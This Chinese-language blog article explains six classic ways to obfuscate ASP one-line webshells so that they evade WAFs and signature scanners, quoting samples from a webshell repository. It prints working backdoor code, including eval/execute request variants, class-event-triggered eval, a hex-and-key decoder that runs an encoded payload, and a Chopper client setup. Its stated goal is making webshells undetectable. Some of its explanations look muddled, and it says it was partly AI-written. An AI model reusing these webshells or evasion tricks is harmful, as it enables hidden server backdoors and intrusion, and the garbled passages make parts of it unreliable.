ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

webshell 仓库精读:ASP 一句话木马六种经典变形手法与免杀思路全解

webshell 仓库精读:ASP 一句话木马六种经典变形手法与免杀思路全解 网络安全渗透测试【免费下载链接】webshellThis is a webshell open source project项目地址https://gitcode.com/gh_mirrors/we/webshell点击查看免费下载本文以 asp/Asp最新变形一句话2014-11-21.asp.md作者 RainShine2014-11-21为骨架系统梳理 ASP 一句话木马的六种经典变形手法——逆序法、拆分法、replace 清洗、chr() 拼接、Mid() 乱序取字符、字符连接成字符串并结合本仓库 asp/ 目录下的真实样本如 asp/不带引号的Asp一句话.asp、asp/ASP一句话.txt、asp/bypass_safedog_03.asp进行源码级印证。读完本文你将掌握如何把一句eval request(xx)改造成难以被静态特征扫描命中的变体理解这些变形背后的 VBScript 语言机制以及它们在真实攻防对抗中的适用边界。一、变形的前提先理解 ASP 一句话木马的本质ASPActive Server Pages在 Windows IIS 上默认使用 VBScript 脚本引擎其一句话木马的核心只有一个动作把客户端传入的字符串交给脚本引擎动态执行。仓库中 asp/ASP一句话.txt 汇总了最基础的一批形态%eval request(sb)% %execute request(sb)% %execute(request(sb))% %ExecuteGlobal request(sb)% script languagevbs runatservereval(request(sb))/script这里出现了三个关键执行函数变形手法都是在它们的基础上展开的函数作用说明eval执行表达式传入的字符串会被当作表达式求值是最常见的载体execute执行语句块可执行多条语句比 eval 更宽容ExecuteGlobal全局作用域执行执行结果进入全局命名空间适合跨过程复用此外还有一类绕道形态通过ScriptControl组件动态创建脚本引擎来执行代码见 asp/ASP一句话.txt 中的第 14 条示例——先用Server.CreateObject(ScriptControl)指定 VBScript 语言再把Request(SubCode)作为过程代码addcode进去最后o.run e, ...调用。这类做法跳过了页面自身的eval关键字属于另一种维度的变形。一句话木马被安全设备Web 应用防火墙、主机杀软、网页后门扫描器识别的关键正是eval/execute/request这三个敏感词及其组合特征。因此变形的本质就是破坏敏感关键字 敏感调用结构的连续文本特征让静态特征库无法直接命中同时保证服务端脚本引擎仍然能还原出可执行代码。二、变形手法一逆序法strreverse原文档给出的第一种变形是利用 VBScript 内置函数StrReverse把待执行的字符串整体倒序服务端运行时再倒序还原%execute(strreverse()xx(tseuqer lave))%分析这段代码tseuqer lave是eval request的逆序)xx部分是(xx)相关字符的逆序编排整体经过strreverse还原后等效于execute(eval(request(xx)))之类的调用客户端通过xx参数传入任意 ASP 代码。仓库中对这一思路的落地版本见 asp/不带引号的Asp一句话.asp% arequest(chr(97)) ExecuteGlobal(StrReverse(a)) %它甚至做到了不带引号参数名由chr(97)动态生成97 是字符a的 ASCII 码StrReverse(a)还原客户端传来的逆序代码后再ExecuteGlobal执行。该文件的注释还给出了与菜刀客户端的配合方式菜刀配置地址填http://www.baidu.com/fuck.asp?a)0(tseuqer%20lave密码填 0其中)0(tseuqer%20lave正是eval request(0)的 URL 编码逆序形态——客户端按逆序编码提交服务端还原执行。这从实战侧印证了逆序法的完整链路变形只发生在传输与存储层面执行语义不变。三、变形手法二拆分法浑水摸鱼法第二种思路是把取参数与执行拆成多行、多个变量让整段代码看起来像普通赋值语句从而干扰基于单行正则的特征匹配% xxrequest(xx) eval xx %以及再绕一层的版本% xxrequest(xx) Rainxx eval Rain %这种手法的特点在于敏感词eval与request不再出现在同一行、同一表达式中参数值经过一次变量中转xx→Rain切断了request(xx)紧邻eval的常见正则模式变量名可以随意更换文档作者用Rain自嘲浑水摸鱼进一步降低语义命中的概率。仓库中 asp/class-initialize.asp 是拆分法的一个进阶变体——把执行动作藏进 VBScript 类的初始化事件里% Class LandGrey Private Sub Class_Initialize eval (request(LandGrey)) End Sub End Class Set X New LandGrey %从源码结构看代码在Class_Initialize类实例化时自动触发中才执行eval(request(LandGrey))页面其余部分完全是无害的类定义语句属于拆分 事件触发的组合拳。类似的思路在 asp/class-terminate.asp利用Class_Terminate析构时机中也有体现。四、变形手法三replace 函数清洗干扰字符第三种手法是先构造一段掺了杂质的代码字符串运行时再用replace把杂质删除恢复出干净的可执行代码% xxxe0x0e0c0ut0e(0req0ue0st(x0x)) xxxreplace(xxx,0,) eval xxx %e0x0e0c0ut0e(0req0ue0st(x0x))中的0是插入的干扰字符经replace(xxx,0,)全部删除后得到execute(request(xx))再由eval执行。这种手法的特点是干扰字符可以任意选取数字、字母、符号皆可且可以插入多个不同字符、多次 replace代码文本中不出现连续的execute(request(...))特征串还原逻辑replace参数本身不含敏感词特征不明显。同理可以推广replace还可以用于把eval中的字母用同形字符替换后统一还原或结合大小写、全角半角等手法。这一先污染、后清洗的模式与下文的 chr() 拼接本质相通——都是在静态文本层面破坏特征运行时重建语义。五、变形手法四chr() 连接字符串利用Chr()函数把关键字的每个字符都转成 ASCII 码运行时用逐一拼接还原%eval(eval(chr(114)chr(101)chr(113)chr(117)chr(101)chr(115)chr(116))(sz))%对照 ASCII 表114→r、101→e、113→q、117→u、101→e、115→s、116→t即动态构造出字符串request作为内层函数名调用并传入参数sz整体等效于eval(request(sz))。代码里还出现了两层eval嵌套进一步绕乱特征。仓库中的实战样本 asp/bypass-iisuser-p.asp 采用了同样的思路%Eval(Request(chr(112))):Set fsoCreateObject(Scripting.FileSystemObject):...%参数名由chr(112)即字符p动态生成规避直接出现request(p)的特征。chr() 的变形空间极大任意关键字execute、request、eval、Server等都可拆成 ASCII 码序列甚至可以在 asp/ASP一句话02.txt 中看到极端形态——整段代码被编码成二进制特征串后由ExecuteGlobal运行┼攠數畣整爠煥敵瑳∨∣┩愾这类编码后存储的方式连可读文本特征都不再保留。六、变形手法五Mid() 乱序取字符文档作者原创思路这是原文档作者特别标注貌似没人研究过的思路先把目标代码打乱成一个长字符串再用Mid按任意顺序逐个取字符重新拼出可执行代码。原文完整实现如下% Function d(s):dMid(love,s,1):End Function:love(tqxuesrav l):execute(d(6)d(10)d(9)d(12)d(11)d(8)d(6)d(3)d(5)d(6)d(7)d(2)d(1)d(14)d(4)d(4)d(14)d(13)) %拆解其原理定义函数d(s)返回Mid(love, s, 1)——即从字符串love中取第s个字符源字符串love (tqxuesrav l) 其内容为(tqxuesrav l)加上一个引号注意其中嵌入了tqxuesrav l与eval request(...)的某种乱序映射tqxuesrav l倒过来读即为l varsuexqt一类形态实际是文档作者打乱后的原料调用execute(d(6)d(10)d(9)d(12)d(11)d(8)d(6)d(3)d(5)d(6)d(7)d(2)d(1)d(14)d(4)d(4)d(14)d(13))——通过一串看似随机的下标序列从love中逐位取出字符拼接后还原出execute(...)调用语句。这段代码的对抗价值在于代码文本中既没有完整的敏感词也没有可读的目标代码只有一长串数字下标和一个乱序字符串还原逻辑藏在Function d(s)与Mid组合中语义高度隐晦静态扫描器即使匹配到execute也无法直接判断其执行内容。仓库 asp/bypass_safedog_03.asp 给出了同族思路的另一实现——MidChr 十六进制解码Function cd(ByVal s, ByVal key) For i 1 To Len(s) Step 2 c Mid(s, i, 2) k (i 1) / 2 Mod Len(key) 1 p Mid(key, k, 1) If IsNumeric(Mid(s, i, 1)) Then cd cd Chr((H c) - p) Else cd cd Chr(H c Mid(s, i 2, 2)) i i 2 End If Next End Function Execute cd(6877656D2B736972786677752B237E232C2A,1314)它把十六进制密文与密钥1314做异或/偏移运算后逐字符还原执行整个还原算法由Mid、Chr、Len等普通字符串函数组成几乎不暴露任何后门语义。这类算法化还原正是 Mid 乱序取字符思路的工程化进阶。七、变形手法六字符连接成字符串第六种是纯粹的字符串字面量拆分利用连接符把关键字拆成一个个字符片段避免连续特征文本%eval(eval(request(0″-2″-5″)))% 密码-7逐段拼接后得到eval(eval(...)最终还原为eval(request(0-2-5))一类的调用原文标注密码为-7。这种写法把eval(、request(等完整特征串彻底打散为单个字符扫描器若不做表达式求值级分析则难以还原。原文档还附带了一位白帽子的版本思路是在相邻字符间穿插干扰字符并配合页面编码指令%codepage65000% %ex-vx-ax-l(x-rx-ex-qx-ux-ex-sx-tx-(x-ACI-cACI)x-)x-% 密码是c分析其特征%codepage65000%将页面声明为 Unicode65000 对应 UTF-16/Unicode 代码页编码关键字eval(request(c))的每个字符之间都被插入x-一类的干扰片段其中ACI-是引号在特定编码体系如前缀 MIME 编码下的常见替代写法用于在避免出现双引号字面量的同时还原出字符串边界。这类穿插干扰 编码替代的写法在 WAF 绕过场景中相当普遍。八、六种变形的共性原理与选择建议把上述六种手法放在一起看可以归纳出三条共性规律静态特征粉碎无论逆序、拆分、replace 清洗、chr()、Mid 乱序还是拼接目的都是让敏感关键字连续出现的静态特征消失。对抗的是基于正则/特征码的检测引擎。运行时语义还原所有变形都必须保证服务端脚本引擎在运行时能把代码还原成eval/execute(request(...))语义。还原手段strreverse、replace、chr、Mid、都是 VBScript 内置的普通函数本身不敏感。隐蔽性递进从逆序法到 Mid 乱序取字符代码的人类可读性逐步降低检测难度逐步上升同时编写与维护成本、以及误伤概率如变量名冲突、编码环境差异也随之上升。在实战选用时可参考以下粗略梯度基于本文与仓库样本的观察非量化结论手法代码量静态特征残留还原复杂度逆序法strreverse小无完整敏感词低拆分法多变量/类事件小仍有eval/request单点低replace 清洗小无中chr() 拼接小无中Mid() 乱序取字符中无高字符连接 / 穿插干扰小无中需要说明的是上述每种手法都不是银弹。如今主流检测引擎包括云 WAF、EDR 脚本行为沙箱、基于抽象语法树的语义检测已能对运行时求值行为做动态/语义层面分析单纯文本变形可能被行为沙箱直接执行还原。因此这些历史手法更多用于理解对抗思路、评估检测盲区或作为纵深组合如 asp/bypass_safedog_01.asp、asp/bypass-waf.asp、asp/bypass-all.asp 等仓库样本所示的叠加运用中的一个环节。九、仓库延伸更多同主题样本可继续研读本仓库 asp/ 目录下沉淀了大量同主题样本可作为本文六种手法的延伸阅读asp/ASP一句话.txt / asp/ASP一句话02.txt一句话木马基础形态全集含ExecuteGlobal、ScriptControl动态引擎、编码后执行等变体asp/不带引号的Asp一句话.asp逆序法 chr() 生成参数名 菜刀客户端配合配置asp/bypass-iisuser-p.aspchr(112)动态参数名 文件属性隐藏的组合asp/class-initialize.asp / asp/class-terminate.asp类初始化/析构事件触发执行asp/bypass_safedog_01.asp、asp/bypass_safedog_02.asp、asp/bypass_safedog_03.asp围绕安全狗的系列绕过样本其中 03 为十六进制 Mid/Chr 解码执行asp/Asp最新变形一句话2014-11-21.asp.md本文所依据的原始笔记。十、结语与使用边界RainShine 在 2014 年的这篇笔记用不到五十行代码浓缩了 ASP 一句话木马变形的主要想象力逆序、拆分、replace、chr()、Mid 乱序、字符拼接。十年后的今天这些手法的单点形态大多已被成熟的检测体系覆盖但其背后的**静态特征粉碎 运行时语义还原**对抗模型仍然是理解脚本后门检测与绕过的必修课。最后必须强调上述技术与仓库中的全部样本仅应用于授权范围内的安全测试、攻防演练与检测能力研究本仓库SECURITY.md与 LICENSE 亦明确了相关使用约定。未授权环境中的使用可能触犯法律请务必在合法合规的前提下开展研究。赞分享网络安全渗透测试【免费下载链接】webshellThis is a webshell open source project项目地址https://gitcode.com/gh_mirrors/we/webshell点击查看免费下载相关推荐PHP一句话木马变形技术webshell项目中的15种编码绕过技巧PHP一句话木马变形技术webshell项目中的15种编码绕过技巧 引言为什么需要变形技术 在Web安全领域Webshell网页后门是攻击者常用的工网络安全渗透测试PHP 一句话木马过安全狗实战分析基于 webshell 仓库的 WAF 绕过写入马原理与利用PHP 一句话木马过安全狗实战分析基于 webshell 仓库的 WAF 绕过写入马原理与利用 本文以仓库 php/phpwebshell pass by w网络安全渗透测试webshell 仓库中的 PHP 反射后门基于 ReflectionFunction 的一句话木马原理与实战利用webshell 仓库中的 PHP 反射后门基于 ReflectionFunction 的一句话木马原理与实战利用 本文基于 php/p2j/Readme.m网络安全渗透测试上一篇Carbon-Forum缓存系统深度剖析Memcache/Redis性能优化实战下一篇免费云服务清单3步上手 free-for-dev创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
返回列表